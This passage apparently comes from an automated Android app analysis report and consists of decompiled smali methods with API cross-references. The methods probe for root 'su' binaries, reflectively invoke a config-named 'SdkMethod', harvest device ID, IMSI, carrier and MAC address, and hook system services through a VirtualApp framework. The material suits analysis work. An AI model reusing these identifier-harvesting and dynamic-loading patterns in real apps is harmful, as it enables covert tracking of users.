                              25const-string v2, "/system/xbin/su"
                              27invoke-direct {v0, v2}, Lcom/omg/event/utils/RootContext;-><init>(Ljava/lang/String;)V
                              28sput-object v0, Lcom/omg/event/utils/RootContext;->instance:Lcom/omg/event/utils/RootContext;
                              29try_end_23: goto/16 :goto_1a
                              30catch_24: move-exception v0
                              31try_start_25: new-instance v0, Lcom/omg/event/utils/RootContext;
                              33const-string v2, "/system/bin/su"
                              35invoke-direct {v0, v2}, Lcom/omg/event/utils/RootContext;-><init>(Ljava/lang/String;)V
                              36sput-object v0, Lcom/omg/event/utils/RootContext;->instance:Lcom/omg/event/utils/RootContext;
                              37try_end_2e: goto/16 :goto_1a
                              38catch_2f: move-exception v0
                              39try_start_30:
                              40invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              41try_end_33: goto/16 :goto_1a
                              42catch_34: move-exception v0
                              43goto/16 :goto_1a
                              Cross References
                              APIs
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              Strings
                              • SdkMethod
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Landroid/content/Context;",
                              4"Ljava/lang/Class",
                              5"<*>;",
                              6"Ljava/lang/String;",
                              7")V"
                              8}
                              9.end annotation
                              10.prologue
                              11const/4 v6, 0x0
                              12const/4 v5, 0x2
                              13const/4 v4, 0x0
                              14const/4 v3, 0x1
                              16invoke-static {p0}, Lcom/omg/base/Config;->current(Landroid/content/Context;)Lcom/omg/base/Config;
                              17move-result-object v0
                              19const-string/jumbo v1, "SdkMethod"
                              21invoke-virtual {v0, v1, v6}, Lcom/omg/base/Config;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              22move-result-object v0
                              23if-eqz v0, :cond_2b
                              24new-array v1, v5, [Ljava/lang/Class;
                              25const-class v2, Landroid/content/Context;
                              26aput-object v2, v1, v4
                              27const-class v2, Ljava/lang/String;
                              28aput-object v2, v1, v3
                              30invoke-virtual {p1, v0, v1}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              31move-result-object v0
                              33invoke-virtual {v0, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              34new-array v1, v5, [Ljava/lang/Object;
                              35aput-object p0, v1, v4
                              36aput-object p2, v1, v3
                              38invoke-virtual {v0, v6, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              39cond_2b: return-void
                              Cross References
                              APIs
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              Strings
                              • SdkMethod
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Landroid/content/Context;",
                              4"Ljava/lang/Class",
                              5"<*>;)V"
                              6}
                              7.end annotation
                              8.prologue
                              9const/4 v5, 0x0
                              10const/4 v4, 0x0
                              11const/4 v3, 0x1
                              13invoke-static {p0}, Lcom/omg/base/Config;->current(Landroid/content/Context;)Lcom/omg/base/Config;
                              14move-result-object v0
                              16const-string/jumbo v1, "SdkMethod"
                              18invoke-virtual {v0, v1, v5}, Lcom/omg/base/Config;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              19move-result-object v0
                              20if-eqz v0, :cond_24
                              21new-array v1, v3, [Ljava/lang/Class;
                              22const-class v2, Landroid/content/Context;
                              23aput-object v2, v1, v4
                              25invoke-virtual {p1, v0, v1}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              26move-result-object v0
                              28invoke-virtual {v0, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              29new-array v1, v3, [Ljava/lang/Object;
                              30aput-object p0, v1, v4
                              32invoke-virtual {v0, v5, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              33cond_24: return-void
                              Cross References
                              APIs
                              • org.json.JSONObject.optString
                              • java.lang.System.getProperty
                              Strings
                              • appId
                              • apId
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lsdk/nicro/lu/s$c;->a:Lorg/json/JSONObject;
                              3if-nez v0, :cond_8
                              5const-string/jumbo v0, ""
                              6goto_7: return-object v0
                              7cond_8:
                              8iget-object v0, p0, Lsdk/nicro/lu/s$c;->f:Ljava/lang/String;
                              9if-eqz v0, :cond_f
                              11iget-object v0, p0, Lsdk/nicro/lu/s$c;->f:Ljava/lang/String;
                              12goto/16 :goto_7
                              13cond_f:
                              14iget-object v0, p0, Lsdk/nicro/lu/s$c;->a:Lorg/json/JSONObject;
                              16const-string/jumbo v1, "appId"
                              17const/4 v2, 0x0
                              19invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->optString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              20move-result-object v0
                              22const-string/jumbo v1, "apId"
                              24invoke-static {v1, v0}, Ljava/lang/System;->getProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              25move-result-object v0
                              26iput-object v0, p0, Lsdk/nicro/lu/s$c;->f:Ljava/lang/String;
                              28iget-object v0, p0, Lsdk/nicro/lu/s$c;->f:Ljava/lang/String;
                              29goto/16 :goto_7
                              APIs
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getDeviceId
                              Strings
                              • phone
                              • android.permission.READ_PHONE_STATE
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lb/a/f;->a:Landroid/content/Context;
                              4const-string v1, "phone"
                              6invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              7move-result-object v0
                              8check-cast v0, Landroid/telephony/TelephonyManager;
                              9if-nez v0, :cond_c
                              10cond_c: const/4 v1, 0x0
                              11try_start_d:
                              12iget-object v2, p0, Lb/a/f;->a:Landroid/content/Context;
                              14const-string v3, "android.permission.READ_PHONE_STATE"
                              16invoke-static {v2, v3}, Lb/a/at;->a(Landroid/content/Context;Ljava/lang/String;)Z
                              17move-result v2
                              18if-eqz v2, :cond_1f
                              20invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                              21try_end_1a: move-result-object v0
                              22goto_1b: return-object v0
                              23catch_1c: move-exception v0
                              24move-object v0, v1
                              25goto/16 :goto_1b
                              26cond_1f: move-object v0, v1
                              27goto/16 :goto_1b
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getDeviceId
                              Strings
                              • phone
                              • android.permission.READ_PHONE_STATE
                              Position Instruction Meta Information
                              0.prologue
                              2const-string v1, ""
                              4const-string v0, "phone"
                              6invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              7move-result-object v0
                              8check-cast v0, Landroid/telephony/TelephonyManager;
                              9if-eqz v0, :cond_19
                              10try_start_c:
                              11const-string v2, "android.permission.READ_PHONE_STATE"
                              13invoke-static {p0, v2}, Lb/a/at;->a(Landroid/content/Context;Ljava/lang/String;)Z
                              14move-result v2
                              15if-eqz v2, :cond_1c
                              17invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                              18try_end_17: move-result-object v0
                              19goto_18: move-object v1, v0
                              20cond_19: return-object v1
                              21catch_1a: move-exception v0
                              22goto/16 :goto_19
                              23cond_1c: move-object v0, v1
                              24goto/16 :goto_18
                              Cross References
                              APIs
                              • java.lang.Class.getField
                              • java.lang.reflect.Field.get
                              • java.lang.Class.isPrimitive
                              Strings
                              • TYPE
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Class",
                              4"<*>;)Z"
                              5}
                              6.end annotation
                              7.prologue
                              8try_start_0:
                              9const-string/jumbo v0, "TYPE"
                              11invoke-virtual {p1, v0}, Ljava/lang/Class;->getField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              12move-result-object v0
                              13const/4 v1, 0x0
                              15invoke-virtual {v0, v1}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              16move-result-object v0
                              17check-cast v0, Ljava/lang/Class;
                              19invoke-virtual {v0}, Ljava/lang/Class;->isPrimitive()Z
                              20try_end_11: move-result v0
                              21goto_12: return v0
                              22catch_13: move-exception v0
                              23const/4 v0, 0x0
                              24goto/16 :goto_12
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.net.ConnectivityManager.getNetworkInfo
                              • android.net.NetworkInfo.getState
                              • android.net.NetworkInfo$State.CONNECTED:Landroid/net/NetworkInfo$State
                              Strings
                              • connectivity
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2try_start_1:
                              3const-string/jumbo v0, "connectivity"
                              5invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              6move-result-object v0
                              7check-cast v0, Landroid/net/ConnectivityManager;
                              8if-eqz v0, :cond_1c
                              9const/4 v2, 0x0
                              11invoke-virtual {v0, v2}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
                              12move-result-object v0
                              14invoke-virtual {v0}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
                              15move-result-object v0
                              17sget-object v2, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
                              18try_end_17: if-ne v0, v2, :cond_1c
                              19const/4 v0, 0x1
                              20goto_1a: return v0
                              21catch_1b: move-exception v0
                              22cond_1c: move v0, v1
                              23goto/16 :goto_1a
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.net.ConnectivityManager.getNetworkInfo
                              • android.net.NetworkInfo.getState
                              • android.net.NetworkInfo$State.CONNECTED:Landroid/net/NetworkInfo$State
                              Strings
                              • connectivity
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2try_start_1:
                              3const-string/jumbo v0, "connectivity"
                              5invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              6move-result-object v0
                              7check-cast v0, Landroid/net/ConnectivityManager;
                              8if-eqz v0, :cond_1c
                              9const/4 v2, 0x1
                              11invoke-virtual {v0, v2}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
                              12move-result-object v0
                              14invoke-virtual {v0}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
                              15move-result-object v0
                              17sget-object v2, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
                              18try_end_17: if-ne v0, v2, :cond_1c
                              19move v0, v1
                              20goto_1a: return v0
                              21catch_1b: move-exception v0
                              22cond_1c: const/4 v0, 0x0
                              23goto/16 :goto_1a
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getNetworkOperatorName
                              Strings
                              • phone
                              • android.permission.READ_PHONE_STATE
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string v0, "phone"
                              4invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              5move-result-object v0
                              6check-cast v0, Landroid/telephony/TelephonyManager;
                              8const-string v1, "android.permission.READ_PHONE_STATE"
                              10invoke-static {p0, v1}, Lb/a/at;->a(Landroid/content/Context;Ljava/lang/String;)Z
                              11move-result v1
                              12if-eqz v1, :cond_18
                              13if-eqz v0, :cond_18
                              15invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String;
                              16try_end_15: move-result-object v0
                              17goto_16: return-object v0
                              18catch_17: move-exception v0
                              19cond_18:
                              20const-string v0, ""
                              21goto/16 :goto_16
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.telephony.TelephonyManager.getSubscriberId
                              Strings
                              • phone
                              • android.permission.READ_PHONE_STATE
                              Position Instruction Meta Information
                              0.prologue
                              2const-string v0, "phone"
                              4invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              5move-result-object v0
                              6check-cast v0, Landroid/telephony/TelephonyManager;
                              7const/4 v1, 0x0
                              9const-string v2, "android.permission.READ_PHONE_STATE"
                              11invoke-static {p0, v2}, Lb/a/at;->a(Landroid/content/Context;Ljava/lang/String;)Z
                              12move-result v2
                              13if-eqz v2, :cond_16
                              15invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSubscriberId()Ljava/lang/String;
                              16move-result-object v0
                              17goto_15: return-object v0
                              18cond_16: move-object v0, v1
                              19goto/16 :goto_15
                              Cross References
                              APIs
                              • java.net.NetworkInterface.getByName
                              • java.net.NetworkInterface.getHardwareAddress
                              • java.net.SocketException.printStackTrace
                              Strings
                              • wlan0
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string/jumbo v0, "wlan0"
                              4invoke-static {v0}, Ljava/net/NetworkInterface;->getByName(Ljava/lang/String;)Ljava/net/NetworkInterface;
                              5move-result-object v0
                              7invoke-virtual {v0}, Ljava/net/NetworkInterface;->getHardwareAddress()[B
                              8move-result-object v0
                              9if-eqz v0, :cond_16
                              11invoke-direct {p0, v0}, Lcom/omg/base/terminal/OmgPhoneInfo;->a([B)Ljava/lang/String;
                              12try_end_10: move-result-object v0
                              13goto_11: return-object v0
                              14catch_12: move-exception v0
                              16invoke-virtual {v0}, Ljava/net/SocketException;->printStackTrace()V
                              17cond_16:
                              18const-string/jumbo v0, ""
                              19goto/16 :goto_11
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              3move-result-object v1
                              5invoke-static {p2}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->isReturnParceledListSlice(Ljava/lang/reflect/Method;)Z
                              6move-result v0
                              7if-eqz v0, :cond_4a
                              9sget-object v0, Lmirror/android/content/pm/ParceledListSlice;->getList:Lmirror/RefMethod;
                              10const/4 v2, 0x0
                              11new-array v2, v2, [Ljava/lang/Object;
                              13invoke-virtual {v0, v1, v2}, Lmirror/RefMethod;->call(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              14move-result-object v0
                              15check-cast v0, Ljava/util/List;
                              16goto_15:
                              17invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              18move-result-object v2
                              19cond_19:
                              20invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              21move-result v0
                              22if-eqz v0, :cond_4e
                              24invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              25move-result-object v0
                              26check-cast v0, Landroid/app/ActivityManager$RecentTaskInfo;
                              28invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              29move-result-object v3
                              30iget v4, v0, Landroid/app/ActivityManager$RecentTaskInfo;->id:I
                              32invoke-virtual {v3, v4}, Lcom/lody/virtual/client/ipc/VActivityManager;->getTaskInfo(I)Lcom/lody/virtual/remote/AppTaskInfo;
                              33move-result-object v3
                              34if-eqz v3, :cond_19
                              35sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                              36const/16 v5, 0x17
                              37if-lt v4, v5, :cond_3f
                              38try_start_37:
                              39iget-object v4, v3, Lcom/lody/virtual/remote/AppTaskInfo;->topActivity:Landroid/content/ComponentName;
                              40iput-object v4, v0, Landroid/app/ActivityManager$RecentTaskInfo;->topActivity:Landroid/content/ComponentName;
                              42iget-object v4, v3, Lcom/lody/virtual/remote/AppTaskInfo;->baseActivity:Landroid/content/ComponentName;
                              43iput-object v4, v0, Landroid/app/ActivityManager$RecentTaskInfo;->baseActivity:Landroid/content/ComponentName;
                              44cond_3f:
                              45iget-object v4, v3, Lcom/lody/virtual/remote/AppTaskInfo;->baseActivity:Landroid/content/ComponentName;
                              46iput-object v4, v0, Landroid/app/ActivityManager$RecentTaskInfo;->origActivity:Landroid/content/ComponentName;
                              48iget-object v3, v3, Lcom/lody/virtual/remote/AppTaskInfo;->baseIntent:Landroid/content/Intent;
                              49iput-object v3, v0, Landroid/app/ActivityManager$RecentTaskInfo;->baseIntent:Landroid/content/Intent;
                              50try_end_47: goto/16 :goto_19
                              51catch_48: move-exception v0
                              52goto/16 :goto_19
                              53cond_4a: move-object v0, v1
                              54check-cast v0, Ljava/util/List;
                              55goto/16 :goto_15
                              56cond_4e: return-object v1
                              57catch_4f: move-exception v4
                              58goto/16 :goto_3f
                              Cross References
                              APIs
                              • java.util.ArrayList.<init>
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mSetOfAllowableAccounts:Ljava/util/Set
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mSetOfAllowableAccounts:Ljava/util/Set
                              • java.util.Set.contains
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mSetOfRelevantAccountTypes:Ljava/util/Set
                              • com.tmk.ywb.activity.ChooseTypeAndAccountActivity.mSetOfRelevantAccountTypes:Ljava/util/Set
                              • android.accounts.Account.type:Ljava/lang/String
                              • java.util.Set.contains
                              • java.util.ArrayList.add
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Lcom/lody/virtual/client/ipc/VAccountManager;",
                              4")",
                              5"Ljava/util/ArrayList",
                              6"<",
                              7"Landroid/accounts/Account;",
                              8">;"
                              9}
                              10.end annotation
                              11.prologue
                              12iget v0, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mCallingUserId:I
                              13const/4 v1, 0x0
                              15invoke-virtual {p1, v0, v1}, Lcom/lody/virtual/client/ipc/VAccountManager;->getAccounts(ILjava/lang/String;)[Landroid/accounts/Account;
                              16move-result-object v1
                              17new-instance v2, Ljava/util/ArrayList;
                              18array-length v0, v1
                              20invoke-direct {v2, v0}, Ljava/util/ArrayList;-><init>(I)V
                              21array-length v3, v1
                              22const/4 v0, 0x0
                              23goto_f: if-ge v0, v3, :cond_34
                              24aget-object v4, v1, v0
                              26iget-object v5, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSetOfAllowableAccounts:Ljava/util/Set;
                              27if-eqz v5, :cond_22
                              29iget-object v5, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSetOfAllowableAccounts:Ljava/util/Set;
                              31invoke-interface {v5, v4}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
                              32move-result v5
                              33if-nez v5, :cond_22
                              34cond_1f: add-int/lit8 v0, v0, 0x1
                              35goto/16 :goto_f
                              36cond_22:
                              37iget-object v5, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSetOfRelevantAccountTypes:Ljava/util/Set;
                              38if-eqz v5, :cond_30
                              40iget-object v5, p0, Lcom/tmk/ywb/activity/ChooseTypeAndAccountActivity;->mSetOfRelevantAccountTypes:Ljava/util/Set;
                              42iget-object v6, v4, Landroid/accounts/Account;->type:Ljava/lang/String;
                              44invoke-interface {v5, v6}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
                              45move-result v5
                              46if-eqz v5, :cond_1f
                              47cond_30:
                              48invoke-virtual {v2, v4}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                              49goto/16 :goto_1f
                              50cond_34: return-object v2
                              APIs
                              • android.content.Intent.getData
                              • android.content.Intent.setDataAndType
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.valueOf
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v4, 0x1
                              2const/4 v3, 0x7
                              3aget-object v0, p3, v4
                              4check-cast v0, Landroid/content/Intent;
                              5const/4 v1, 0x2
                              6aget-object v1, p3, v1
                              7check-cast v1, Ljava/lang/String;
                              9invoke-virtual {v0}, Landroid/content/Intent;->getData()Landroid/net/Uri;
                              10move-result-object v2
                              12invoke-virtual {v0, v2, v1}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
                              14invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              15move-result-object v1
                              17invoke-virtual {v1}, Lcom/lody/virtual/client/core/VirtualCore;->getComponentDelegate()Lcom/lody/virtual/client/hook/delegate/ComponentDelegate;
                              18move-result-object v1
                              19if-eqz v1, :cond_27
                              21invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              22move-result-object v1
                              24invoke-virtual {v1}, Lcom/lody/virtual/client/core/VirtualCore;->getComponentDelegate()Lcom/lody/virtual/client/hook/delegate/ComponentDelegate;
                              25move-result-object v1
                              27invoke-interface {v1, v0}, Lcom/lody/virtual/client/hook/delegate/ComponentDelegate;->onSendBroadcast(Landroid/content/Intent;)V
                              28cond_27:
                              29invoke-direct {p0, v0}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$BroadcastIntent;->handleIntent(Landroid/content/Intent;)Landroid/content/Intent;
                              30move-result-object v0
                              31if-eqz v0, :cond_43
                              32aput-object v0, p3, v4
                              33aget-object v0, p3, v3
                              34instance-of v0, v0, Ljava/lang/String;
                              35if-nez v0, :cond_3b
                              36aget-object v0, p3, v3
                              37instance-of v0, v0, [Ljava/lang/String;
                              38if-eqz v0, :cond_3e
                              39cond_3b: const/4 v0, 0x0
                              40aput-object v0, p3, v3
                              41cond_3e:
                              42invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              43move-result-object v0
                              44goto_42: return-object v0
                              45cond_43: const/4 v0, 0x0
                              47invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              48move-result-object v0
                              49goto/16 :goto_42
                              APIs
                              • java.lang.Integer.intValue
                              • java.util.ArrayList.<init>
                              • java.util.List.addAll
                              • android.content.pm.PackageManager.getInstalledPackages
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Ljava/lang/Integer;
                              5invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              6move-result v1
                              8invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              9move-result v2
                              11invoke-static {}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetInstalledPackages;->isAppProcess()Z
                              12move-result v0
                              13if-eqz v0, :cond_36
                              14new-instance v0, Ljava/util/ArrayList;
                              16invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              17move-result-object v3
                              19invoke-virtual {v3}, Lcom/lody/virtual/client/core/VirtualCore;->getInstalledAppCount()I
                              20move-result v3
                              22invoke-direct {v0, v3}, Ljava/util/ArrayList;-><init>(I)V
                              23goto_20:
                              24invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              25move-result-object v3
                              27invoke-virtual {v3, v1, v2}, Lcom/lody/virtual/client/ipc/VPackageManager;->getInstalledPackages(II)Ljava/util/List;
                              28move-result-object v1
                              30invoke-interface {v0, v1}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
                              32invoke-static {p2}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->isReturnParceledListSlice(Ljava/lang/reflect/Method;)Z
                              33move-result v1
                              34if-eqz v1, :cond_35
                              36invoke-static {v0}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->create(Ljava/util/List;)Ljava/lang/Object;
                              37move-result-object v0
                              38cond_35: return-object v0
                              39cond_36:
                              40invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              41move-result-object v0
                              43invoke-virtual {v0}, Lcom/lody/virtual/client/core/VirtualCore;->getUnHookPackageManager()Landroid/content/pm/PackageManager;
                              44move-result-object v0
                              46invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
                              47move-result-object v0
                              48goto/16 :goto_20
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Ljava/lang/String;
                              4const/4 v1, 0x1
                              5aget-object v1, p3, v1
                              6check-cast v1, Ljava/lang/Integer;
                              8invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              9move-result v1
                              11invoke-static {}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetApplicationInfo;->getHostPkg()Ljava/lang/String;
                              12move-result-object v2
                              14invoke-virtual {v2, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              15move-result v2
                              16if-eqz v2, :cond_1d
                              18invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              19move-result-object v0
                              20goto_1c: return-object v0
                              21cond_1d:
                              22invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              23move-result v2
                              25invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              26move-result-object v3
                              28invoke-virtual {v3, v0, v1, v2}, Lcom/lody/virtual/client/ipc/VPackageManager;->getApplicationInfo(Ljava/lang/String;II)Landroid/content/pm/ApplicationInfo;
                              29move-result-object v0
                              30if-nez v0, :cond_1c
                              32invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              33move-result-object v0
                              34check-cast v0, Landroid/content/pm/ApplicationInfo;
                              35if-eqz v0, :cond_39
                              37invoke-static {v0}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetApplicationInfo;->isVisiblePackage(Landroid/content/pm/ApplicationInfo;)Z
                              38move-result v1
                              39if-nez v1, :cond_1c
                              40cond_39: const/4 v0, 0x0
                              41goto/16 :goto_1c
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.intValue
                              • java.lang.Boolean.valueOf
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Landroid/content/ComponentName;
                              4const/4 v1, 0x1
                              5aget-object v1, p3, v1
                              6check-cast v1, Landroid/os/IBinder;
                              8invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              9move-result-object v2
                              11invoke-virtual {v2, v1}, Lcom/lody/virtual/client/ipc/VActivityManager;->isVAServiceToken(Landroid/os/IBinder;)Z
                              12move-result v2
                              13if-nez v2, :cond_19
                              15invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              16move-result-object v0
                              17goto_18: return-object v0
                              18cond_19: const/4 v2, 0x2
                              19aget-object v2, p3, v2
                              20check-cast v2, Ljava/lang/Integer;
                              22invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              23move-result v2
                              24if-eqz v0, :cond_31
                              26invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              27move-result-object v3
                              29invoke-virtual {v3, v0, v1, v2}, Lcom/lody/virtual/client/ipc/VActivityManager;->stopServiceToken(Landroid/content/ComponentName;Landroid/os/IBinder;I)Z
                              30move-result v0
                              32invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              33move-result-object v0
                              34goto/16 :goto_18
                              35cond_31:
                              36invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              37move-result-object v0
                              38goto/16 :goto_18
                              Cross References
                              APIs
                              • java.util.ArrayList.size
                              • java.util.ArrayList.size
                              • java.util.ArrayList.get
                              • android.accounts.Account.name:Ljava/lang/String
                              • java.lang.String.equals
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/util/ArrayList",
                              4"<",
                              5"Landroid/accounts/Account;",
                              6">;",
                              7"Ljava/lang/String;",
                              8"Z)I"
                              9}
                              10.end annotation
                              11.prologue
                              12if-eqz p3, :cond_7
                              14invoke-virtual {p1}, Ljava/util/ArrayList;->size()I
                              15move-result v1
                              16goto_6: return v1
                              17cond_7: const/4 v0, 0x0
                              18move v1, v0
                              19goto_9:
                              20invoke-virtual {p1}, Ljava/util/ArrayList;->size()I
                              21move-result v0
                              22if-ge v1, v0, :cond_21
                              24invoke-virtual {p1, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                              25move-result-object v0
                              26check-cast v0, Landroid/accounts/Account;
                              28iget-object v0, v0, Landroid/accounts/Account;->name:Ljava/lang/String;
